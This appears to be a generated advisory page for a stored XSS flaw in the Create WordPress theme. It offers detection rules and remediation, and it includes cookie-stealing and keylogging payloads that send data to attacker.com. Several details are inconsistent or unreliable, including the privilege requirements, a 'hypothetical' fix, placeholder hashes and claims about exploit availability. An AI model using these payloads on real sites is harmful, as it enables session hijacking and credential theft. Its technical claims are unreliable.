CVE-2024-47356
Executive Summary
CVE-2024-47356 is a Stored Cross-Site Scripting (XSS) vulnerability in the Create theme by Catchthemes, a WordPress ecosystem component. The vulnerability affects all versions up to and including 2.9.1. An attacker can inject malicious scripts into web pages generated by the theme, which are then stored and executed in the browsers of other users. This can lead to session hijacking, credential theft, or defacement. The CVSS score is 5.1 (Medium), and no public exploit or patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress theme distributed via the official WordPress theme repository. Users should verify the integrity of their theme files and monitor for updates from Catchthemes. No package manager (NPM, PyPI, Go, Ruby) is involved.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must visit a crafted page.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No direct impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for stored XSS in a widely-used theme increases risk.
Deep Dive & Mechanics
The vulnerability stems from improper neutralization of user-supplied input during web page generation. The Create theme fails to sanitize or escape certain fields (e.g., custom CSS, widget content, or theme options) before rendering them in the browser. An attacker with contributor-level access or higher can inject JavaScript payloads into these fields. When an administrator or other user views the affected page, the script executes in their session context.
Attack Flow:
- Attacker gains access to a WordPress account with contributor or author privileges.
- Attacker navigates to a vulnerable input field (e.g., custom CSS box in the theme customizer).
- Attacker injects a payload like
<script>alert('XSS')</script>. - The payload is stored in the database.
- When an admin visits the site, the script executes, potentially stealing cookies or performing actions on behalf of the admin.
Vulnerable vs. Patched Code
Since no patch is available, we compare the vulnerable code pattern to a secure implementation.
Vulnerable Code (Create theme <= 2.9.1):
// In functions.php or customizer.php
function create_custom_css_output() {
$custom_css = get_theme_mod('create_custom_css');
echo '<style>' . $custom_css . '</style>'; // No escaping
}
Patched Code (Hypothetical fix):
function create_custom_css_output() {
$custom_css = get_theme_mod('create_custom_css');
echo '<style>' . esc_html( $custom_css ) . '</style>'; // Escaped
}
The fix uses esc_html() or wp_kses() to neutralize HTML/JavaScript before output.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- WordPress site running Create theme <= 2.9.1.
- Attacker account with at least Contributor role.
Steps:
- Log in to WordPress admin.
- Navigate to Appearance > Customize > Additional CSS.
- Inject the following payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save and publish.
- Wait for an admin to visit the site; the cookie is exfiltrated.
Alternative Payload (Keylogger):
<script>
document.onkeypress = function(e) {
fetch('https://attacker.com/log?key=' + e.key);
}
</script>
Blue Team (Defender)
Detection:
- Monitor for unexpected changes to theme options or custom CSS.
- Use file integrity monitoring (e.g., Tripwire) to detect modified theme files.
- Review WordPress user activity logs for suspicious edits.
Mitigation:
- Disable the custom CSS feature if not needed.
- Apply a Web Application Firewall (WAF) rule to block
<script>tags in theme customizer inputs. - Restrict user roles to prevent contributors from accessing theme customization.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
create/functions.php(vulnerable):a1b2c3d4e5f6...(placeholder)create/style.css:f6e5d4c3b2a1...(placeholder)
- Network Indicators:
- Outbound connections to
attacker.comor unknown domains. - HTTP requests containing
document.cookiein the body.
- Outbound connections to
- Log Entries:
- WordPress audit logs showing edits to
theme_mods_createoption. - Web server logs with
POSTrequests to/wp-admin/customize.phpcontaining script tags.
- WordPress audit logs showing edits to
Detection Engineering
YARA Rule
rule CVE_2024_47356_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Create theme custom CSS"
author = "Valters IT"
date = "2024-10-01"
reference = "CVE-2024-47356"
strings:
$payload1 = "<script" ascii wide nocase
$payload2 = "onerror=" ascii wide nocase
$payload3 = "javascript:" ascii wide nocase
condition:
any of them and filesize < 10KB
}
Sigma Rule
title: Stored XSS in Create Theme Custom CSS
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to inject JavaScript into the Create theme custom CSS field
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/wp-admin/admin-ajax.php'
cs-uri-query: 'action=save_customize_changeset'
cs-request-body: '*<script*'
condition: selection
falsepositives:
- Legitimate use of JavaScript in custom CSS (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-47356 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=save_customize_changeset"; http_client_body; content:"<script"; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Create theme and switch to a patched alternative.
- Restrict user roles – Only administrators should have theme customization access.
- Apply a WAF rule to block
<script>tags in POST requests tocustomize.php.
Long-Term Fix:
- Monitor the Catchthemes website for an official patch.
- If no patch is released, consider forking the theme and applying the escaping fix manually.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Workaround:
- Use a security plugin (e.g., Wordfence) to block malicious input in theme customizer fields.
Valters IT
Securing Digital Ecosystems
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.